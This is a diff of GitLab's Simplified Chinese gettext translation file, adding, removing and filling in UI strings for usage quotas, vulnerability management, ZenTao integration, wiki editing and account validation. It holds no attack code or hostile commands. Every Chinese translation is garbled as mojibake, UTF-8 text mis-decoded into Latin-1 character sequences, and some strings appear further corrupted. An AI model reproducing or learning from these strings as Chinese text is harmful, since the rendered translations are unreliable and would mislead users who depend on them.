msgstr "在撤销之å‰ï¼Œè¿‡æœŸçš„个人访问令牌会带æ¥å®‰å…¨é£Žé™©ã€‚"
@@ -36634,6 +37248,9 @@ msgstr "æ›´æ–°"
msgid "Updating"
msgstr "更新中"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr "正在更新…"
@@ -36676,6 +37293,9 @@ msgstr "上传图片"
msgid "Upload license"
msgstr "上传许å¯è¯"
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "上传对象图"
@@ -36685,9 +37305,6 @@ msgstr "点击上传"
msgid "Uploading changes to terminal"
msgstr "正在将å˜æ›´å†…容上传到终端"
-msgid "Uploads"
-msgstr "上传"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr "执行此æ“作åŽï¼Œè¯¥ç¾¤ç»„ã€å…¶å­ç»„和项目的内容将%{deletion_adjourned_period} 天åŽåœ¨ %{date} 永久删除。到那时之å‰ï¼š"
@@ -36700,9 +37317,6 @@ msgstr "è¿è¡Œæ—¶é—´"
msgid "Upvotes"
msgstr "顶"
-msgid "Usage"
-msgstr "使用情况"
-
msgid "Usage Trends"
msgstr "使用趋势"
@@ -36728,7 +37342,7 @@ msgid "UsageQuota|Audio samples, videos, datasets, and graphics."
msgstr "音频样本ã€è§†é¢‘ã€æ•°æ®é›†å’Œå›¾å½¢ã€‚"
msgid "UsageQuota|Because of a known issue, the artifact total for some projects may be incorrect. For more details, read %{warningLinkStart}the epic%{warningLinkEnd}."
-msgstr ""
+msgstr "由于已知问题,æŸäº›é¡¹ç›®çš„产物总数å¯èƒ½ä¸æ­£ç¡®ã€‚有关更多详细信æ¯ï¼Œè¯·é˜…读 %{warningLinkStart}å²è¯—%{warningLinkEnd}。"
msgid "UsageQuota|Buy additional minutes"
msgstr "购买更多分钟数"
@@ -36749,22 +37363,16 @@ msgid "UsageQuota|File attachments and smaller design graphics."
msgstr "文件附件和较å°çš„设计图表。"
msgid "UsageQuota|Git repository."
-msgstr ""
+msgstr "Git仓库。"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
-msgstr ""
+msgstr "包括产物ã€ä»“库ã€wikiã€ä¸Šä¼ æ–‡ä»¶å’Œå…¶å®ƒäº‹é¡¹ã€‚"
msgid "UsageQuota|Increase storage temporarily"
msgstr "临时增加存储"
-msgid "UsageQuota|LFS Objects"
-msgstr "LFS对象"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "LFS存储"
-
msgid "UsageQuota|LFS storage"
-msgstr ""
+msgstr "LFS存储"
msgid "UsageQuota|Learn more about excess storage usage"
msgstr "了解有关超é¢å­˜å‚¨ä½¿ç”¨é‡çš„更多信æ¯"
@@ -36772,9 +37380,15 @@ msgstr "了解有关超é¢å­˜å‚¨ä½¿ç”¨é‡çš„更多信æ¯"
msgid "UsageQuota|Learn more about usage quotas"
msgstr "了解有关使用é…é¢çš„更多信æ¯"
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "软件包"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr "用 CI/CD 创建的æµæ°´çº¿åˆ¶å“和作业制å“。"
@@ -36787,9 +37401,6 @@ msgstr "购买更多存储空间"
msgid "UsageQuota|Purchased storage available"
msgstr "购买的存储空间å¯ç”¨"
-msgid "UsageQuota|Repositories"
-msgstr "仓库"
-
msgid "UsageQuota|Repository"
msgstr "仓库"
@@ -36823,18 +37434,6 @@ msgstr "此命å空间包å«å·²é”定的项目"
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "此命å空间没有使用共享Runner的项目"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr "由于已购买的存储空间已在低ä½ï¼Œè¿™ä¸ªé¡¹ç›®æœ‰è¢«é”定的风险。"
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr "此项目被é”定,因为它已ç»ä½¿ç”¨äº†%{actualRepositorySizeLimit}çš„å…费存储空间,并且没有å¯ç”¨çš„更多购买存储空间。"
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr "此项目被é”定,因为它已ç»ä½¿ç”¨äº†%{actualRepositorySizeLimit}çš„å…费存储空间和所有购买的存储空间。"
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr "此项目已接近å…费的 %{actualRepositorySizeLimit} 上é™ï¼Œæœ‰è¢«é”定的风险。"
-
msgid "UsageQuota|Total excess storage used"
msgstr "已使用超é‡å­˜å‚¨ç©ºé—´æ€»è®¡"
@@ -36854,7 +37453,7 @@ msgid "UsageQuota|Usage Quotas"
msgstr "使用é‡é…é¢"
msgid "UsageQuota|Usage breakdown"
-msgstr ""
+msgstr "使用明细"
msgid "UsageQuota|Usage of group resources across the projects in the %{strong_start}%{group_name}%{strong_end} group"
msgstr "%{strong_start}%{group_name}%{strong_end}群组中的项目使用群组资æºçŠ¶å†µ"
@@ -36880,9 +37479,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr "Wiki 内容。"
-msgid "UsageQuota|Wikis"
-msgstr "Wiki"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr "您已ç»ç”¨å°½æ‰€æœ‰æ›´å¤šçš„存储空间,请购买更多空间以解é”超过å…è´¹%{actualRepositorySizeLimit}é™åˆ¶çš„项目。"
@@ -37004,7 +37600,7 @@ msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab
msgstr "使用 AWS CloudFormation æ¨¡æ¿ (CFT) 在 AWS 中安装和é…ç½® GitLab Runner。"
msgid "Use authorized_keys file to authenticate SSH keys"
-msgstr ""
+msgstr "使用 authorized_keys 文件æ¥éªŒè¯ SSH 密钥"
msgid "Use cURL"
msgstr "使用 cURL"
@@ -37037,7 +37633,7 @@ msgid "Use template"
msgstr "使用模æ¿"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
-msgstr ""
+msgstr "使用上é¢çš„ %{strongStart}测试%{strongEnd} 选项创建事件。"
msgid "Use the link below to confirm your email address (%{email})"
msgstr "使用以下链接确认您的电å­é‚®ä»¶åœ°å€ (%{email})"
@@ -37075,9 +37671,6 @@ msgstr "我们被超过 100,000 个组织使用,是管ç†æœ¬åœ° git 存储库ç
msgid "Used programming language"
msgstr "使用的编程语言"
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr "用于计算é‡æ–°ç´¢å¼•æœŸé—´çš„切片数。å€æ•°å°†åº”用于æ¯ä¸ªç´¢å¼•çš„切片数。了解有关 %{slice_multiplier_link_start}切片å€æ•°é…ç½®%{slice_multiplier_link_end}的更多信æ¯ã€‚"
-
msgid "Used to help configure your identity provider"
msgstr "用于帮助é…置您的身份æ供者"
@@ -37106,10 +37699,10 @@ msgid "User and IP rate limits"
msgstr "用户和 IP 速率é™åˆ¶"
msgid "User cap"
-msgstr ""
+msgstr "用户上é™"
msgid "User created at"
-msgstr ""
+msgstr "用户创建于"
msgid "User does not have a pending request"
msgstr "用户没有待处ç†è¯·æ±‚"
@@ -37381,9 +37974,6 @@ msgstr "作出了ç§æœ‰è´¡çŒ®"
msgid "Username"
msgstr "用户å"
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr "用户å(用于å—密ç ä¿æŠ¤çš„ Elasticsearch æœåŠ¡å™¨ï¼‰"
-
msgid "Username (optional)"
msgstr "用户å (å¯é€‰)"
@@ -37463,7 +38053,7 @@ msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their
msgstr "使用%{codeStart}needs%{codeEnd}关键字会使作业比其所在阶段更早è¿è¡Œã€‚åªè¦å®ƒä»¬çš„%{codeStart}needs%{codeEnd}关系得到满足,作业将尽快执行,从而实现æµæ°´çº¿åŠ é€Ÿã€‚"
msgid "Valid From"
-msgstr ""
+msgstr "有效期自"
msgid "Validate"
msgstr "验è¯"
@@ -37475,13 +38065,13 @@ msgid "Validate your GitLab CI configuration file"
msgstr "验è¯æ‚¨çš„GitLab CIé…置文件"
msgid "Validated at"
-msgstr ""
+msgstr "验è¯äºŽ"
msgid "Validated at:"
-msgstr ""
+msgstr "验è¯äºŽï¼š"
msgid "Validated:"
-msgstr ""
+msgstr "已验è¯ï¼š"
msgid "Validations failed."
msgstr "验è¯å¤±è´¥ã€‚"
@@ -37529,22 +38119,22 @@ msgid "ValueStreamAnalytics|Average number of deployments to production per day.
msgstr "æ¯å¤©ç”Ÿäº§çŽ¯å¢ƒéƒ¨ç½²çš„å¹³å‡æ•°ã€‚"
msgid "ValueStreamAnalytics|Dashboard"
-msgstr ""
+msgstr "仪表盘"
msgid "ValueStreamAnalytics|Go to docs"
-msgstr ""
+msgstr "转到文档"
msgid "ValueStreamAnalytics|Items in Value Stream Analytics are currently filtered by their creation time. There is an %{epic_link_start}epic%{epic_link_end} that will change the Value Stream Analytics date filter to use the end event time for the selected stage."
-msgstr ""
+msgstr "价值æµåˆ†æžä¸­çš„项目目å‰æ ¹æ®åˆ›å»ºæ—¶é—´è¿›è¡Œè¿‡æ»¤ã€‚ 有一个 %{epic_link_start}å²è¯—%{epic_link_end} 将更改价值æµåˆ†æžæ—¥æœŸè¿‡æ»¤å™¨ï¼Œæ¥ä½¿ç”¨æ‰€é€‰é˜¶æ®µçš„结æŸäº‹ä»¶æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Median time between merge request merge and deployment to a production environment for all MRs deployed in the given time period."
-msgstr ""
+msgstr "对于在给定时间内部署的所有管ç†ä¿¡æ¯ç³»ç»Ÿï¼Œä»Žåˆå¹¶è¯·æ±‚åˆå¹¶åˆ°éƒ¨ç½²åˆ°ç”Ÿäº§çŽ¯å¢ƒä¹‹é—´çš„中ä½æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr "从议题创建到关闭的中ä½æ•°æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
-msgstr ""
+msgstr "从一个关è”议题的åˆå¹¶è¯·æ±‚最早æ交到该议题结æŸæ—¶çš„中ä½æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|Number of commits pushed to the default branch"
msgstr "推é€åˆ°é»˜è®¤åˆ†æ”¯çš„æ交数é‡"
@@ -37609,6 +38199,18 @@ msgstr "验è¯å¹¶å‘é™åˆ¶"
msgid "Verification status"
msgstr "验è¯çŠ¶æ€"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "已验è¯"
@@ -37633,6 +38235,9 @@ msgstr "版本 %{versionNumber} (最新)"
msgid "View Documentation"
msgstr "查看文档"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr "查看警报详细信æ¯äºŽ"
@@ -37675,7 +38280,7 @@ msgstr "查看å²è¯—列表"
msgid "View exposed artifact"
msgid_plural "View %d exposed artifacts"
-msgstr[0] "查看%d项已展示产物"
+msgstr[0] ""
msgid "View file @ "
msgstr "æµè§ˆæ–‡ä»¶ @ "
@@ -37728,6 +38333,9 @@ msgstr "查看日志"
msgid "View merge request"
msgstr "查看åˆå¹¶è¯·æ±‚"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr "在 %{url} 上查看"
@@ -37837,6 +38445,9 @@ msgstr "æ¼æ´žæŠ¥å‘Š"
msgid "Vulnerability remediated. Review before resolving."
msgstr "æ¼æ´žå·²ä¿®è¡¥ã€‚置为解决之å‰è¯·å…ˆè¿›è¡Œå®¡æ ¸ã€‚"
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr "æ¼æ´žå·²åœ¨%{branch}分支上解决"
@@ -37849,9 +38460,6 @@ msgstr "%{formattedStartDate}到今天"
msgid "VulnerabilityChart|Severity"
msgstr "严é‡çº§åˆ«"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr "æ¼æ´žç®¡ç†ï¼ŒèŽ·å–å…³è”çš„ Jira 议题"
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr "由%{user}%{statusStart}确认%{statusEnd}于%{timeago}"
@@ -37867,6 +38475,9 @@ msgstr "由%{user}于%{timeago}%{statusStart}解决%{statusEnd}"
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr "真实æ¼æ´žå¹¶å°†ä¿®å¤"
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr "更改状æ€"
@@ -37876,8 +38487,11 @@ msgstr "无法处ç†%{issueReference}: %{errorMessage}。"
msgid "VulnerabilityManagement|Create Jira issue"
msgstr "创建 Jira 议题"
-msgid "VulnerabilityManagement|Detected"
-msgstr "检测到"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
+msgstr ""
msgid "VulnerabilityManagement|Needs triage"
msgstr "需è¦åˆ†ç±»"
@@ -37888,6 +38502,9 @@ msgstr "阅读更多相关议题"
msgid "VulnerabilityManagement|Related Jira issues"
msgstr "相关 Jira 问题"
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr "试图删除评论时出错。请ç¨åŽå†è¯•ã€‚"
@@ -37912,9 +38529,15 @@ msgstr "出错了,无法读å–用户。"
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr "出错了,无法更新æ¼æ´žçŠ¶æ€ã€‚"
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr "已验è¯ä¸ºä¿®å¤æˆ–缓解"
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr "å°†ä¸ä¿®å¤æˆ–为误报"
@@ -37927,12 +38550,12 @@ msgstr "所有状æ€"
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "已确认"
-msgid "VulnerabilityStatusTypes|Detected"
-msgstr "检测到"
-
msgid "VulnerabilityStatusTypes|Dismissed"
msgstr "已忽略"
+msgid "VulnerabilityStatusTypes|Needs triage"
+msgstr ""
+
msgid "VulnerabilityStatusTypes|Resolved"
msgstr "已解决"
@@ -38104,8 +38727,8 @@ msgstr "我们å‘现以下错误:"
msgid "We heard back from your device. You have been authenticated."
msgstr "我们收到了您设备的å“应。您已通过身份验è¯ã€‚"
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
-msgstr "我们喜欢与用户交谈,关于您的体验,有更多è¦è¯´çš„å—?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
+msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr "我们推è基于云端的移动身份验è¯å™¨åº”用,例如Authyã€Duo Mobileå’ŒLastPas。如果您丢失了硬件设备,他们å¯ä»¥æ¢å¤è®¿é—®ã€‚"
@@ -38201,7 +38824,7 @@ msgid "Webhook Settings"
msgstr "Webhook设置"
msgid "Webhook events will be displayed here."
-msgstr ""
+msgstr "Webhook 事件将在这里显示。"
msgid "Webhook:"
msgstr "Webhook:"
@@ -38399,7 +39022,7 @@ msgid "What will you use this group for?"
msgstr "你会用这个群组åšä»€ä¹ˆï¼Ÿ"
msgid "What would you like to do?"
-msgstr ""
+msgstr "您想è¦åšä»€ä¹ˆï¼Ÿ"
msgid "What's new"
msgstr "新增功能"
@@ -38410,6 +39033,9 @@ msgstr "部署作业æˆåŠŸæ—¶ï¼Œè·³è¿‡å°šæœªå®Œæˆçš„旧部署任务。"
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "当Runner被é”定时,ä¸èƒ½å°†å…¶åˆ†é…给其他项目"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr "å¯ç”¨åŽï¼ŒçŽ°æœ‰çš„个人访问令牌å¯èƒ½ä¼šè¢«æ’¤é”€ã€‚留空表示没有é™åˆ¶ã€‚"
@@ -38422,7 +39048,7 @@ msgstr "å°†URLä¿ç•™ä¸ºç©ºç™½æ—¶ï¼Œä»å¯æŒ‡å®šåˆ†ç±»æ ‡ç­¾ï¼Œè€Œæ— éœ€ç¦ç”¨è·¨
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr "当默认分支中的åˆå¹¶è¯·æ±‚å’Œæ交关闭时,它们引用的任何议题也会关闭。"
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr "创建 %{pageTitle}"
msgid "WikiPage|Create page"
msgstr "创建页é¢"
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr "æ ¼å¼"
@@ -38603,8 +39235,8 @@ msgstr "获得更丰富的编辑体验"
msgid "WikiPage|Keep editing"
msgstr "继续编辑"
-msgid "WikiPage|More Information."
-msgstr "更多信æ¯"
+msgid "WikiPage|Learn more."
+msgstr ""
msgid "WikiPage|Page title"
msgstr "页é¢æ ‡é¢˜"
@@ -38717,6 +39349,9 @@ msgstr "正在进行中(开放和未分é…)"
msgid "Work in progress Limit"
msgstr "“进行中â€é™åˆ¶"
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr "工作事项"
@@ -38739,7 +39374,7 @@ msgid "Write a description or drag your files here…"
msgstr "写下æ述或将您的文件拖到此处…"
msgid "Write a description…"
-msgstr ""
+msgstr "写说明..."
msgid "Write milestone description..."
msgstr "写入里程碑æè¿°..."
@@ -38850,7 +39485,7 @@ msgid "You are not authorized to perform this action"
msgstr "您无æƒæ‰§è¡Œæ­¤æ“作"
msgid "You are not authorized to update this profile"
-msgstr ""
+msgstr "您无æƒæ›´æ–°æ­¤é…置文件"
msgid "You are not authorized to update this scanner profile"
msgstr "您无æƒæ›´æ–°æ­¤æ‰«æ工具é…置文件"
@@ -38990,15 +39625,12 @@ msgstr "您现在å¯ä»¥æ交åˆå¹¶è¯·æ±‚以将此更改添加到æºé¡¹ç›®ä¸­ã€‚
msgid "You can only %{action} files when you are on a branch"
msgstr "当处于分支时,您åªèƒ½ %{action} 文件"
+msgid "You can only add up to %{max_contacts} contacts at one time"
+msgstr ""
+
msgid "You can only edit files when you are on a branch"
msgstr "åªèƒ½åœ¨åˆ†æ”¯ä¸Šç¼–辑文件"
-msgid "You can only merge once the items above are resolved."
-msgstr "解决以上问题åŽï¼Œæ‚¨æ‰èƒ½åˆå¹¶ã€‚"
-
-msgid "You can only merge once this merge request is approved."
-msgstr "您åªèƒ½åœ¨æ­¤åˆå¹¶è¯·æ±‚被批准åŽåˆå¹¶ã€‚"
-
msgid "You can only transfer the project to namespaces you manage."
msgstr "您åªèƒ½å°†é¡¹ç›®è½¬ç§»åˆ°æ‚¨ç®¡ç†çš„命å空间。"
@@ -39032,6 +39664,9 @@ msgstr "您ä¸èƒ½ %{action} %{state} 用户。"
msgid "You cannot access the raw file. Please wait a minute."
msgstr "您ä¸èƒ½è®¿é—®åŽŸå§‹æ–‡ä»¶ã€‚请ç¨å€™ã€‚"
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "您无法使用被ç¦ç”¨ç”¨æˆ·çš„身份"
@@ -39062,12 +39697,18 @@ msgstr "您ä¸èƒ½åœ¨è¿™ä¸ªé¡¹ç›®ä¸­ç›´æŽ¥ç¼–辑文件,请派生(Fork)这ä¸
msgid "You could not create a new trigger."
msgstr "您无法创建新的触å‘器。"
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "您当å‰å°šæœªè®¢é˜…任何计划"
msgid "You do not have permission to access dora metrics."
msgstr "您无æƒè®¿é—® dora 指标。"
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "您没有æƒé™é€€å‡º%{namespaceType}。"
@@ -39119,6 +39760,10 @@ msgstr "您没有访问此群组效率分æžçš„æƒé™"
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr "您没有访问此群组价值æµåˆ†æžçš„æƒé™"
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "你已被授予 %{access_level} 访问 %{source_link} %{source_type} çš„æƒé™ã€‚"
@@ -39167,6 +39812,9 @@ msgstr "您没有足够的æƒé™ä»Žæ­¤é¡¹ç›®ä¸­åˆ é™¤ on-call 计划"
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr "您没有足够的æƒé™åˆ é™¤æ­¤HTTP集æˆ"
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr "您没有足够的æƒé™æ¥æ›´æ–°æ­¤é¡¹ç›®çš„on-call计划"
@@ -39195,7 +39843,7 @@ msgid "You have successfully purchased a %{plan} plan subscription for %{seats}.
msgstr "您已æˆåŠŸè´­ä¹°äº†%{seats}用户的%{plan}计划订阅。收æ®å°†é€šè¿‡ç”µå­é‚®ä»¶å‘é€ç»™æ‚¨ã€‚"
msgid "You have unsaved changes"
-msgstr ""
+msgstr "您有未ä¿å­˜çš„更改"
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "ä½ å·²ç»ä»Žâ€œ%{membershipable_human_name}†%{source_type}退出。"
@@ -39302,9 +39950,6 @@ msgstr "åªæŽ¥æ”¶è¯„论中æåŠ(@)您的通知"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr "您将无法创建新项目,因为您已ç»è¾¾åˆ°äº†é¡¹ç›®æ•°é™åˆ¶ã€‚"
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr "在账å·%{set_password_link} å‰æ‚¨å°†æ— æ³•é€šè¿‡%{protocol}拉å–或推é€ä»£ç ã€‚"
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr "æ ¹æ®åè®®æ¡æ¬¾ï¼Œæ‚¨å°†éœ€è¦æŒ‰å­£åº¦æˆ–年支付%{true_up_link_start}超出许å¯è¯ç”¨æˆ·%{link_end}的费用。"
@@ -39389,8 +40034,8 @@ msgstr "您从项目%{project_name}(%{project_url})导出包å«%{written_count}ç
msgid "Your CSV import for project"
msgstr "您的项目CSV导入"
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
-msgstr "您的 DevOps 报告从功能角度概述了您如何使用 GitLab。使用它å¯ä»¥æŸ¥çœ‹æ‚¨ä¸Žå…¶ä»–组织的比较情况。"
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
+msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "您的GPG密钥 (%{count})"
@@ -39455,6 +40100,12 @@ msgstr "您的å¸æˆ·å·²è¢«ç®¡ç†å‘˜å†»ç»“。请é‡æ–°ç™»å½•ä»¥é‡æ–°æ¿€æ´»æ‚¨çš„
msgid "Your account has been deactivated. You will not be able to: "
msgstr "您的账å·å·²è¢«åœç”¨ã€‚您将无法: "
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "您的å¸å·å·²è¢«é”定。"
@@ -39647,6 +40298,9 @@ msgstr "您的æœç´¢å·²è¶…æ—¶"
msgid "Your sign-in page is %{url}."
msgstr "您的登录页é¢ä¸º%{url}。"
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "您的订阅已过期ï¼"
@@ -39658,55 +40312,52 @@ msgid "Your username is %{username}."
msgstr "您的用户å是%{username}。"
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
-msgstr ""
-
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
+msgstr "无法加载禅é“议题。在禅é“中查看议题,或é‡æ–°åŠ è½½é¡µé¢ã€‚"
msgid "ZenTaoIntegration|This is a ZenTao user."
-msgstr ""
-
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
+msgstr "这是一个禅é“用户。"
msgid "ZenTaoIntegration|ZenTao user"
-msgstr ""
+msgstr "禅é“用户"
msgid "ZentaoIntegration|An error occurred while requesting data from the ZenTao service."
-msgstr ""
+msgstr "从禅é“æœåŠ¡è¯·æ±‚æ•°æ®æ—¶å‘生错误。"
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
+msgstr "禅é“实例的基础 URL。"
+
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
msgstr ""
msgid "ZentaoIntegration|Enter new ZenTao API token"
-msgstr ""
+msgstr "è¾“å…¥æ–°çš„ç¦…é“ API 令牌"
msgid "ZentaoIntegration|If different from Web URL."
msgstr "如果与 Web URL ä¸åŒã€‚"
msgid "ZentaoIntegration|Issue list"
-msgstr ""
+msgstr "议题列表"
msgid "ZentaoIntegration|Open ZenTao"
-msgstr ""
+msgstr "打开禅é“"
msgid "ZentaoIntegration|Use ZenTao as this project's issue tracker."
-msgstr ""
+msgstr "使用禅é“作为此项目的议题跟踪器。"
msgid "ZentaoIntegration|ZenTao API URL (optional)"
-msgstr ""
+msgstr "ç¦…é“ API URL(å¯é€‰ï¼‰"
msgid "ZentaoIntegration|ZenTao API token"
-msgstr ""
+msgstr "ç¦…é“ API 令牌"
msgid "ZentaoIntegration|ZenTao Product ID"
-msgstr ""
+msgstr "禅é“äº§å“ ID"
msgid "ZentaoIntegration|ZenTao Web URL"
-msgstr ""
+msgstr "ç¦…é“ Web URL"
msgid "ZentaoIntegration|ZenTao issues"
-msgstr ""
+msgstr "禅é“议题"
msgid "Zoom meeting added"
msgstr "已添加Zoom会议"
@@ -39718,7 +40369,7 @@ msgid "[No reason]"
msgstr "[无原因]"
msgid "[REDACTED]"
-msgstr ""
+msgstr "[REDACTED]"
msgid "[Redacted]"
msgstr "[Redacted]"
@@ -39742,9 +40393,6 @@ msgstr "访问:"
msgid "added"
msgstr "已添加"
-msgid "added %{created_at_timeago}"
-msgstr "创建于 %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr "添加了 %{emails}"
@@ -39837,6 +40485,9 @@ msgid "can only have one escalation policy"
msgstr "åªèƒ½æœ‰ä¸€ä¸ªå‡çº§ç­–ç•¥"
msgid "can't be nil"
+msgstr "ä¸èƒ½ä¸º nil"
+
+msgid "can't be solely blank"
msgstr ""
msgid "can't be the same as the source project"
@@ -39846,7 +40497,7 @@ msgid "can't include: %{invalid_storages}"
msgstr "ä¸èƒ½åŒ…括: %{invalid_storages}"
msgid "can't reference a branch that does not exist"
-msgstr ""
+msgstr "ä¸èƒ½å¼•ç”¨ä¸å­˜åœ¨çš„分支"
msgid "cannot be a date in the past"
msgstr "ä¸èƒ½æ˜¯è¿‡åŽ»çš„日期"
@@ -39872,11 +40523,8 @@ msgstr "除éžæ‰€æœ‰åŸŸéƒ½å…·æœ‰TLSè¯ä¹¦ï¼Œå¦åˆ™æ— æ³•å¯ç”¨"
msgid "cannot be enabled until a valid credit card is on file"
msgstr "在有效的信用å¡å­˜æ¡£ä¹‹å‰æ— æ³•å¯ç”¨"
-msgid "cannot be modified"
-msgstr "无法修改"
-
